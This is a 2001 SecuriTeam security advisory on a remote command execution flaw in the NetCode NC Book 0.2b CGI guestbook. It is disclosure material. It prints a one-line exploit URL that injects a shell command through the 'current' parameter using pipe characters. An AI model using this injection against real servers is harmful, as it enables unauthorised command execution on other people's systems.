[UNIX] NetCode NC Book Remote Command Execution Vulnerability

From: support@securiteam.com
Date: 08/16/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] NetCode NC Book Remote Command Execution Vulnerability
Message-Id: <20010816171813.2A1BB138BF@mail.der-keiler.de>
Date: Thu, 16 Aug 2001 19:18:13 +0200 (CEST)

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  NetCode NC Book Remote Command Execution Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://netcode.lgg.ru/vault/ncbook/> NetCode's GuestBook, a CGI guest
book program, contains a vulnerability that allows attackers to execute
arbitrary code with the security privileges the CGI runs with (usually the
user 'nobody').

DETAILS

Vulnerable systems:
NetCode NC Book version 0.2b

Exploit:
http://target/cgi-bin/ncbook/book.cgi?action=default¤t=|ls-la/|&form_tid=996604045&prev=main.html&list_message_index=10

(NOTE: URL has been wrapped for readability)

ADDITIONAL INFORMATION

The information has been provided by <http://www.poizonb0x.org/>
PoizonB0x Crew.

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